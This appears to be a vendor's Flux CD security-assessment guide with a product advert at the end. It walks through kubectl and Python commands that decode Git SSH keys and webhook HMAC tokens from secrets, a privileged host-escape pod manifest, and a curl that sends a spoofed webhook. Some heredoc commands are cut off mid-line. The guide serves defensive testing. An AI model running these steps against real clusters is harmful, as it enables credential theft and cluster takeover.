Flux CD is a GitOps continuous delivery tool that runs as a set of Kubernetes controllers, synchronizing cluster state from Git repositories. Because Flux controllers have broad cluster permissions by design — they must be able to apply any manifest — a compromised Flux component or misconfigured resource can become a cluster-wide privilege escalation path. Git credentials stored as secrets are accessible to Flux controllers, Kustomizations can reference files outside intended directories, and HelmRelease values can inject unexpected configuration. This guide covers systematic Flux CD security assessment.
| Controller | Function | Security Attack Surface |
|---|---|---|
| source-controller | Fetches Git/Helm/OCI sources | Git credential secrets, SSH key exposure |
| kustomize-controller | Applies Kustomizations to cluster | Broad cluster apply permissions, path traversal |
| helm-controller | Manages HelmReleases | Value injection, chart source tampering |
| notification-controller | Sends alerts/triggers webhooks | Webhook spoofing, token exposure |
| image-automation-controller | Auto-updates image tags in Git | Git write-back credential, commit injection |
# Enumerate Flux installation and controller versions
flux version 2>/dev/null || kubectl get deployments -n flux-system -o json | python3 -c "
import json,sys
deps = json.load(sys.stdin)['items']
for d in deps:
name = d['metadata']['name']
for c in d['spec']['template']['spec']['containers']:
print(f'{name}: {c[\"image\"]}')
"
# Check Flux controller permissions (all controllers share broad RBAC)
kubectl get clusterrole flux-system -o yaml 2>/dev/null | grep -A 3 "- verbs"
# kustomize-controller typically has cluster-admin equivalent:
# - apiGroups: ["*"] resources: ["*"] verbs: ["*"]
# Flux GitRepository resources reference secrets containing git credentials
# These secrets contain SSH private keys or HTTPS tokens/passwords
# List all GitRepository resources and their credential secrets
kubectl get gitrepositories --all-namespaces -o json | python3 -c "
import json,sys
repos = json.load(sys.stdin)['items']
for r in repos:
meta = r['metadata']
spec = r.get('spec',{})
secret_ref = spec.get('secretRef',{})
print(f\"GitRepository: {meta['namespace']}/{meta['name']}\")
print(f\" URL: {spec.get('url','?')}\")
print(f\" Credential secret: {secret_ref.get('name','none')}\")
"
# Extract a Git credential secret (SSH key or deploy token)
NAMESPACE=flux-system
SECRET_NAME=github-credentials # From above output
kubectl get secret $SECRET_NAME -n $NAMESPACE -o json | python3 -c "
import json,sys,base64
secret = json.load(sys.stdin)
for key, val in secret.get('data',{}).items():
decoded = base64.b64decode(val).decode('utf-8','ignore')
print(f'=== {key} ===')
print(decoded[:200])
"
# identity = SSH private key for git repository (grants git pull/push access)
# identity.pub = SSH public key
# known_hosts = allowed server fingerprints
# Check if SSH key has write access (push permissions to repo = supply chain attack)
# Flux typically needs read-only (pull); write is needed for image-automation-controller
# Read-only deploy keys: safe. Write deploy keys: supply chain risk.
# Kustomizations define which path in a GitRepository to apply
# Misconfigured paths or cross-namespace references can expose unintended resources
# List all Kustomizations and their source paths
kubectl get kustomizations --all-namespaces -o json | python3 -c "
import json,sys
kustoms = json.load(sys.stdin)['items']
for k in kustoms:
meta = k['metadata']
spec = k.get('spec',{})
source = spec.get('sourceRef',{})
print(f\"Kustomization: {meta['namespace']}/{meta['name']}\")
print(f\" Path: {spec.get('path','/')}\")
print(f\" Source: {source.get('namespace',meta['namespace'])}/{source.get('name','?')}\")
print(f\" ServiceAccount: {spec.get('serviceAccountName','flux-system controller SA')}\")
print(f\" Target namespace: {spec.get('targetNamespace','same')}\")
"
# Test: Kustomization path traversal
# If a user controls a Kustomization spec, can they reference '../' to escape their path?
kubectl apply -f - <
# HelmRelease values are merged with chart defaults
# Injected values can override security controls set by the chart
# List all HelmReleases and check for user-controlled values sources
kubectl get helmreleases --all-namespaces -o json | python3 -c "
import json,sys
releases = json.load(sys.stdin)['items']
for r in releases:
meta = r['metadata']
spec = r.get('spec',{})
values_from = spec.get('valuesFrom',[])
print(f\"HelmRelease: {meta['namespace']}/{meta['name']}\")
for vf in values_from:
kind = vf.get('kind','?')
name = vf.get('name','?')
optional = vf.get('optional',False)
print(f\" Values from: {kind}/{name} optional={optional}\")
"
# Test: inject values via a ConfigMap that a developer controls
# If HelmRelease references a ConfigMap from the developer namespace:
kubectl apply -f - <
# Flux controllers run as service accounts with broad cluster permissions
# If you can create a Kustomization that deploys a malicious manifest,
# the kustomize-controller applies it with its own (often cluster-admin) permissions
# Check kustomize-controller's actual cluster permissions
kubectl get clusterrolebindings -o json | python3 -c "
import json,sys
crbs = json.load(sys.stdin)['items']
for crb in crbs:
for s in crb.get('subjects',[]):
if s.get('name','').startswith('kustomize-controller') or \
s.get('name','').startswith('helm-controller'):
print(f\"{s['name']} → {crb['roleRef']['name']}\")
"
# Test: deploy a privileged pod via Flux Kustomization
# Create a manifest in a Git repo that creates a privileged pod
cat <<'EOF' > /tmp/exploit-manifest.yaml
apiVersion: v1
kind: Pod
metadata:
name: flux-escape
namespace: kube-system # Applied by kustomize-controller to kube-system
spec:
hostNetwork: true
hostPID: true
containers:
- name: escape
image: alpine
command: ["/bin/sh", "-c", "nsenter --target 1 --mount --uts --ipc --net /bin/bash"]
securityContext:
privileged: true
EOF
# If a developer can push this to their GitRepository path and create a Kustomization,
# kustomize-controller applies it with full cluster access
# Mitigation check: does Flux use workload identity / impersonation?
kubectl get kustomizations --all-namespaces -o json | python3 -c "
import json,sys
kustoms = json.load(sys.stdin)['items']
for k in kustoms:
sa = k.get('spec',{}).get('serviceAccountName','')
print(f\"{k['metadata']['name']}: serviceAccount={sa if sa else 'DEFAULT CONTROLLER SA'}\")
" | grep "DEFAULT" | head -10
# Kustomizations without serviceAccountName use the controller's own SA (over-privileged)
# Secure: set serviceAccountName to a least-privilege SA in each target namespace
# Flux supports receiver webhooks to trigger reconciliation on git push events
# A spoofed webhook with the correct HMAC token triggers immediate reconciliation
# Find Flux Receiver resources and their webhook secrets
kubectl get receivers --all-namespaces -o json | python3 -c "
import json,sys
receivers = json.load(sys.stdin)['items']
for r in receivers:
meta = r['metadata']
spec = r.get('spec',{})
secret_ref = spec.get('secretRef',{})
status = r.get('status',{})
print(f\"Receiver: {meta['namespace']}/{meta['name']}\")
print(f\" Type: {spec.get('type','?')}\")
print(f\" Webhook secret: {secret_ref.get('name','?')}\")
print(f\" URL: {status.get('webhookPath','?')}\")
"
# Extract webhook HMAC token
kubectl get secret WEBHOOK_SECRET -n flux-system -o json | python3 -c "
import json,sys,base64
s = json.load(sys.stdin)
token = base64.b64decode(s['data']['token']).decode()
print(f'Webhook HMAC token: {token}')
# With this token an attacker can trigger reconciliation on demand
# Triggering reconciliation is low-risk if no malicious content in repo
# BUT: if used with timing attacks against slow git polling, attacker can
# race a malicious commit through before security scanning occurs
"
# Test: send a spoofed webhook to trigger reconciliation
WEBHOOK_TOKEN="stolen-token"
curl -X POST https://FLUX_RECEIVER_URL/hook/sha256-of-path \
-H "X-Hub-Signature-256: sha256=$(echo -n '{}' | openssl dgst -sha256 -hmac $WEBHOOK_TOKEN | cut -d' ' -f2)" \
-H "Content-Type: application/json" \
-d '{}'
serviceAccountName per Kustomization — never rely on the controller's own SA--no-cross-namespace-refs to block cross-namespace source referencesGitRepository.spec.verify with GPG commit signingIronimo tests Flux CD deployments for source controller credential exposure, Kustomization path abuse, HelmRelease value injection paths, RBAC over-grant via controller service accounts, and webhook token exposure — covering the full Flux attack surface.
Start free scan